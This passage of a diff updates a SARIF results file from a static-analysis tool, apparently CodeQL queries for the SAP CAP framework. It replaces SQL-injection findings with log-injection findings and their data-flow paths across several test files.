           },
           "region" : {
-            "startLine" : 15,
-            "startColumn" : 27,
-            "endColumn" : 65
+            "startLine" : 18,
+            "startColumn" : 47,
+            "endColumn" : 48
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "b41554298e90b620:1",
-        "primaryLocationStartColumnFingerprint" : "20"
+        "primaryLocationLineHash" : "e05b39891dddd161:1",
+        "primaryLocationStartColumnFingerprint" : "40"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -20949,14 +20660,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 34,
-                  "endColumn" : 37
+                  "startLine" : 15,
+                  "startColumn" : 24,
+                  "endColumn" : 27
                 }
               },
               "message" : {
@@ -20967,14 +20678,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 34,
-                  "endColumn" : 37
+                  "startLine" : 18,
+                  "startColumn" : 17,
+                  "endColumn" : 20
                 }
               },
               "message" : {
@@ -20985,14 +20696,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 34,
-                  "endColumn" : 42
+                  "startLine" : 18,
+                  "startColumn" : 17,
+                  "endColumn" : 25
                 }
               },
               "message" : {
@@ -21003,50 +20714,139 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 8,
+                  "startLine" : 18,
                   "startColumn" : 13,
-                  "endColumn" : 31
+                  "endColumn" : 25
                 }
               },
               "message" : {
-                "text" : "{ book, quantity }"
+                "text" : "$"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 15,
-                  "endColumn" : 19
+                  "startLine" : 18,
+                  "startColumn" : 47,
+                  "endColumn" : 48
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "$"
+              }
+            }
+          } ]
+        } ]
+      } ],
+      "relatedLocations" : [ {
+        "id" : 1,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 1
+          },
+          "region" : {
+            "startLine" : 15,
+            "startColumn" : 24,
+            "endColumn" : 27
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      } ]
+    }, {
+      "ruleId" : "js/cap-log-injection",
+      "rule" : {
+        "id" : "js/cap-log-injection",
+        "index" : 1,
+        "toolComponent" : {
+          "index" : 0
+        }
+      },
+      "message" : {
+        "text" : "Log entry depends on a [user-provided value](1)."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 1
+          },
+          "region" : {
+            "startLine" : 25,
+            "startColumn" : 16,
+            "endColumn" : 29
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "4dc77ce4a9b7031e:1",
+        "primaryLocationStartColumnFingerprint" : "9"
+      },
+      "codeFlows" : [ {
+        "threadFlows" : [ {
+          "locations" : [ {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 1
+                },
+                "region" : {
+                  "startLine" : 23,
+                  "startColumn" : 34,
+                  "endColumn" : 54
+                }
+              },
+              "message" : {
+                "text" : "req2.params.category"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 8,
+                  "startLine" : 23,
                   "startColumn" : 13,
-                  "endColumn" : 42
+                  "endColumn" : 31
+                }
+              },
+              "message" : {
+                "text" : "{ book, quantity }"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 1
+                },
+                "region" : {
+                  "startLine" : 23,
+                  "startColumn" : 15,
+                  "endColumn" : 19
                 }
               },
               "message" : {
@@ -21057,14 +20857,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 15,
-                  "startColumn" : 58,
-                  "endColumn" : 62
+                  "startLine" : 23,
+                  "startColumn" : 13,
+                  "endColumn" : 54
                 }
               },
               "message" : {
@@ -21075,36 +20875,36 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 15,
-                  "startColumn" : 52,
-                  "endColumn" : 64
+                  "startLine" : 25,
+                  "startColumn" : 25,
+                  "endColumn" : 29
                 }
               },
               "message" : {
-                "text" : "`ID=${book}`"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 15,
-                  "startColumn" : 27,
-                  "endColumn" : 65
+                  "startLine" : 25,
+                  "startColumn" : 16,
+                  "endColumn" : 29
                 }
               },
               "message" : {
-                "text" : "SELECT. ... book}`)"
+                "text" : "\"CAP:\" + book"
               }
             }
           } ]
@@ -21114,14 +20914,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
             "uriBaseId" : "%SRCROOT%",
             "index" : 1
           },
           "region" : {
-            "startLine" : 7,
+            "startLine" : 23,
             "startColumn" : 34,
-            "endColumn" : 37
+            "endColumn" : 54
           }
         },
         "message" : {
@@ -21129,34 +20929,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/cap-sql-injection",
+      "ruleId" : "js/cap-log-injection",
       "rule" : {
-        "id" : "js/cap-sql-injection",
-        "index" : 0,
+        "id" : "js/cap-log-injection",
+        "index" : 1,
         "toolComponent" : {
           "index" : 0
         }
       },
       "message" : {
-        "text" : "This query depends on a [user-provided value](1)."
+        "text" : "Log entry depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 1
+            "index" : 30
           },
           "region" : {
-            "startLine" : 18,
-            "startColumn" : 37,
-            "endColumn" : 43
+            "startLine" : 9,
+            "startColumn" : 32,
+            "endColumn" : 45
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "967d7be3edc97a9e:1",
-        "primaryLocationStartColumnFingerprint" : "30"
+        "primaryLocationLineHash" : "7c291d40b7c61d4f:1",
+        "primaryLocationStartColumnFingerprint" : "23"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -21164,198 +20964,126 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 30
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 34,
-                  "endColumn" : 37
+                  "startLine" : 6,
+                  "startColumn" : 29,
+                  "endColumn" : 32
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "msg"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 30
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 34,
-                  "endColumn" : 37
+                  "startLine" : 7,
+                  "startColumn" : 35,
+                  "endColumn" : 38
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "msg"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 30
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 34,
-                  "endColumn" : 42
+                  "startLine" : 7,
+                  "startColumn" : 35,
+                  "endColumn" : 43
                 }
               },
               "message" : {
-                "text" : "req.data"
+                "text" : "msg.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 30
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 13,
-                  "endColumn" : 31
+                  "startLine" : 7,
+                  "startColumn" : 15,
+                  "endColumn" : 32
                 }
               },
               "message" : {
-                "text" : "{ book, quantity }"
+                "text" : "{ messageToPass }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 30
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 15,
-                  "endColumn" : 19
+                  "startLine" : 7,
+                  "startColumn" : 17,
+                  "endColumn" : 30
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 30
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 13,
-                  "endColumn" : 42
-                }
-              },
-              "message" : {
-                "text" : "book"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
-                },
-                "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 53,
-                  "endColumn" : 57
-                }
-              },
-              "message" : {
-                "text" : "book"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
-                },
-                "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 45,
-                  "endColumn" : 57
-                }
-              },
-              "message" : {
-                "text" : "'ID=' + book"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
-                },
-                "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 20,
-                  "endColumn" : 58
-                }
-              },
-              "message" : {
-                "text" : "SELECT. ... + book)"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
-                },
-                "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 11,
-                  "endColumn" : 58
+                  "startLine" : 7,
+                  "startColumn" : 15,
+                  "endColumn" : 43
                 }
               },
               "message" : {
-                "text" : "query2"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 30
                 },
                 "region" : {
-                  "startLine" : 18,
-                  "startColumn" : 37,
-                  "endColumn" : 43
+                  "startLine" : 9,
+                  "startColumn" : 32,
+                  "endColumn" : 45
                 }
               },
               "message" : {
-                "text" : "query2"
+                "text" : "messageToPass"
               }
             }
           } ]
@@ -21365,14 +21093,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 1
+            "index" : 30
           },
           "region" : {
-            "startLine" : 7,
-            "startColumn" : 34,
-            "endColumn" : 37
+            "startLine" : 6,
+            "startColumn" : 29,
+            "endColumn" : 32
           }
         },
         "message" : {
@@ -21380,34 +21108,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/cap-sql-injection",
+      "ruleId" : "js/cap-log-injection",
       "rule" : {
-        "id" : "js/cap-sql-injection",
-        "index" : 0,
+        "id" : "js/cap-log-injection",
+        "index" : 1,
         "toolComponent" : {
           "index" : 0
         }
       },
       "message" : {
-        "text" : "This query depends on a [user-provided value](1)."
+        "text" : "Log entry depends on a [user-provided value](1).\nLog entry depends on a [user-provided value](2)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 1
+            "index" : 37
           },
           "region" : {
-            "startLine" : 20,
-            "startColumn" : 27,
-            "endColumn" : 65
+            "startLine" : 9,
+            "startColumn" : 32,
+            "endColumn" : 45
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "1c132adaa6986472:1",
-        "primaryLocationStartColumnFingerprint" : "20"
+        "primaryLocationLineHash" : "7c291d40b7c61d4f:1",
+        "primaryLocationStartColumnFingerprint" : "23"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -21415,395 +21143,400 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 37
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 34,
-                  "endColumn" : 37
+                  "startLine" : 6,
+                  "startColumn" : 29,
+                  "endColumn" : 32
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "msg"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 37
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 34,
-                  "endColumn" : 37
+                  "startLine" : 7,
+                  "startColumn" : 35,
+                  "endColumn" : 38
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "msg"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 37
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 34,
-                  "endColumn" : 42
+                  "startLine" : 7,
+                  "startColumn" : 35,
+                  "endColumn" : 43
                 }
               },
               "message" : {
-                "text" : "req.data"
+                "text" : "msg.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 37
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 13,
-                  "endColumn" : 31
+                  "startLine" : 7,
+                  "startColumn" : 15,
+                  "endColumn" : 32
                 }
               },
               "message" : {
-                "text" : "{ book, quantity }"
+                "text" : "{ messageToPass }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 37
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 15,
-                  "endColumn" : 19
+                  "startLine" : 7,
+                  "startColumn" : 17,
+                  "endColumn" : 30
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 37
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 13,
-                  "endColumn" : 42
+                  "startLine" : 7,
+                  "startColumn" : 15,
+                  "endColumn" : 43
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 37
                 },
                 "region" : {
-                  "startLine" : 20,
-                  "startColumn" : 60,
-                  "endColumn" : 64
+                  "startLine" : 9,
+                  "startColumn" : 32,
+                  "endColumn" : 45
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "messageToPass"
               }
             }
-          }, {
+          } ]
+        } ]
+      }, {
+        "threadFlows" : [ {
+          "locations" : [ {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 36
                 },
                 "region" : {
-                  "startLine" : 20,
-                  "startColumn" : 52,
-                  "endColumn" : 64
+                  "startLine" : 6,
+                  "startColumn" : 33,
+                  "endColumn" : 36
                 }
               },
               "message" : {
-                "text" : "'ID=' + book"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 36
                 },
                 "region" : {
-                  "startLine" : 20,
-                  "startColumn" : 27,
-                  "endColumn" : 65
+                  "startLine" : 7,
+                  "startColumn" : 39,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "SELECT. ... + book)"
+                "text" : "req"
               }
             }
-          } ]
-        } ]
-      } ],
-      "relatedLocations" : [ {
-        "id" : 1,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 1
-          },
-          "region" : {
-            "startLine" : 7,
-            "startColumn" : 34,
-            "endColumn" : 37
-          }
-        },
-        "message" : {
-          "text" : "user-provided value"
-        }
-      } ]
-    }, {
-      "ruleId" : "js/cap-sql-injection",
-      "rule" : {
-        "id" : "js/cap-sql-injection",
-        "index" : 0,
-        "toolComponent" : {
-          "index" : 0
-        }
-      },
-      "message" : {
-        "text" : "This query depends on a [user-provided value](1)."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 1
-          },
-          "region" : {
-            "startLine" : 28,
-            "startColumn" : 39,
-            "endColumn" : 42
-          }
-        }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "144d55d233768c80:1",
-        "primaryLocationStartColumnFingerprint" : "32"
-      },
-      "codeFlows" : [ {
-        "threadFlows" : [ {
-          "locations" : [ {
+          }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 36
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 34,
-                  "endColumn" : 37
+                  "startColumn" : 39,
+                  "endColumn" : 47
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "req.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 36
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 34,
-                  "endColumn" : 37
+                  "startLine" : 7,
+                  "startColumn" : 19,
+                  "endColumn" : 36
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "{ messageToPass }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 36
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 34,
-                  "endColumn" : 42
+                  "startLine" : 7,
+                  "startColumn" : 21,
+                  "endColumn" : 34
                 }
               },
               "message" : {
-                "text" : "req.data"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 36
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 13,
-                  "endColumn" : 31
-                }
+                  "startLine" : 7,
+                  "startColumn" : 19,
+                  "endColumn" : 47
+                }
               },
               "message" : {
-                "text" : "{ book, quantity }"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 36
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 15,
-                  "endColumn" : 19
+                  "startLine" : 9,
+                  "startColumn" : 38,
+                  "endColumn" : 51
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 36
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 13,
-                  "endColumn" : 42
+                  "startLine" : 9,
+                  "startColumn" : 36,
+                  "endColumn" : 53
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "{ messageToPass }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 37
                 },
                 "region" : {
-                  "startLine" : 27,
-                  "startColumn" : 59,
-                  "endColumn" : 63
+                  "startLine" : 6,
+                  "startColumn" : 29,
+                  "endColumn" : 32
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "msg"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 37
                 },
                 "region" : {
-                  "startLine" : 27,
+                  "startLine" : 7,
+                  "startColumn" : 35,
+                  "endColumn" : 38
+                }
+              },
+              "message" : {
+                "text" : "msg"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 37
+                },
+                "region" : {
+                  "startLine" : 7,
+                  "startColumn" : 35,
+                  "endColumn" : 43
+                }
+              },
+              "message" : {
+                "text" : "msg.data"
+              }
